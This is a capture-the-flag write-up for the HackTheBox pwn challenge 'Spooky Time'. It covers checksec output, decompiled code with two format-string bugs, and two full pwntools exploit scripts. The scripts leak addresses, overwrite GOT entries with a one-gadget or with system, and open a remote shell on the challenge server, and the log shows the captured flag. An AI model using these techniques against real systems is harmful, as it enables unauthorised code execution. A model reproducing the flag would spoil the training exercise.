Spooky Time

1) Checked security

```
┌──(vigneswar㉿VigneswarPC)-[~/Pwn/Spooky Time/challenge]
└─$ checksec spooky_time
[*] '/home/vigneswar/Pwn/Spooky Time/challenge/spooky_time'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./glibc/'
```

2) Decompiled the binary

Decompile: main - (spooky_time)

```
1
2  void main(void)
3
4  {
5    long in_FS_OFFSET;
6    char local_154 [12];
7    char local_148 [312];
8    long local_10;
9
10   local_10 = *(long *)(in_FS_OFFSET + 0x28);
11   setup();
12   banner();
13   puts("It\'s your chance to scare those little kids, say something scary!\n");
14   __isoc99_scanf(&DAT_00102963,local_154);
15   puts("\nSeriously?? I bet you can do better than ");
16   printf(local_154);
17   puts("\nAnyway, here comes another bunch of kids, let\'s try one more time..");
18   puts("\n");
19   __isoc99_scanf("%299s",local_148);
20   puts("\nOk, you are not good with that, do you think that was scary??\n");
21   printf(local_148);
22   puts("Better luck next time!\n");
23   if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
24                     /* WARNING: Subroutine does not return */
25     __stack_chk_fail();
26   }
27   return;
28 }
29
```

We can see that our input goes in printf, we have a format string vulnerability, also we have very less input space on first printf

3) Checked for one gadget

```
┌──(vigneswar㉿VigneswarPC)-[~/Pwn/Spooky Time/challenge]
└─$ one_gadget glibc/libc.so.6
0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL || r10 is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

0xebcf5 execve("/bin/sh", r10, rdx)
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL || r10 is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp
```

4) Exploited on remote using one gadget

```python
from pwn import *
import re

context(os='linux', arch='amd64')
io = process('nc 94.237.48.205 33228'.split())
#io = process('./spooky_time'.split())
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
io.sendlineafter(b'scary!\n', b'%36$p%37$p')

# address calculation
base_leak, libc_leak = re.findall(r'0x[0-9a-f]{12}',
io.recvuntil(b'Anyway').decode())
base_address = int(base_leak, 16)-0x40
got_address = base_address+0x3da0
libc_address = int(libc_leak, 16)-0x24985c
one_gadget = libc_address+0xebcf5

print(f"Got address: {hex(got_address)}, One Gadget: {hex(one_gadget)}")

payload = fmtstr_payload(8, writes = {
    got_address: p64(one_gadget)
})

io.sendlineafter(b'time..\n\n\n', payload)
io.interactive()
```

```
┌──(vigneswar㉿VigneswarPC)-[~/Pwn/Spooky Time/challenge]
└─$ python3 exploit.py
[+] Starting local process '/usr/bin/nc': pid 27480
Got address: 0x5650bfd05da0, One Gadget: 0x7f5e2b330cf5
[*] Switching to interactive mode

Ok, you are not good with that, do you think that was scary??

                    \\xa0]nPV$ ls
flag.txt
glibc
spooky_time
$ cat flag.txt
HTB{d0ubl3_f0rm4t_5tr1ng_w1th_r3lR0}
$
```

5) Alternatively:

```python
from pwn import *
import re

context(os='linux', arch='amd64')
io = process('nc 94.237.48.205 33228'.split())
#io = process('./spooky_time'.split())
io.sendlineafter(b'scary!\n', b'%36$p%56$p')

# address calculation
base_leak, stack_leak= re.findall(r'0x[0-9a-f]{12}',
io.recvuntil(b'Anyway').decode())
print(stack_leak)
base_address = int(base_leak, 16)-0x40
stack_address = int(stack_leak, 16)-0x270
scanf_address = base_address+0x13f7
got_address = 0x3db0+base_address

print(f"Leaked Stack Address: {hex(stack_address)}, Leaked GOT Address:
{hex(got_address)}")
writes = {
    stack_address: p64(scanf_address)
```

```
}
payload = fmtstr_payload(8, writes)
io.sendlineafter(b'time..\n\n\n', payload)

io.sendline(b'%37$p')
io.recvuntil(b'Seriously')
libc_leak = re.findall(r'0x[0-9a-f]{12}', io.recvuntil(b'Anyway').decode())[0]
libc_address = int(libc_leak, 16)-0x24985c
print(f"Leaked System Address: {hex(libc_address)}")

system_address = libc_address+0x50d60
writes = {
    stack_address: p64(scanf_address),
    got_address: p64(system_address)
}

print("Sending Last payload!")

io.sendlineafter(b'time..\n\n\n', fmtstr_payload(8, writes))
io.sendline(b'/bin/sh')

print("Here is your shell :)")
io.interactive()
```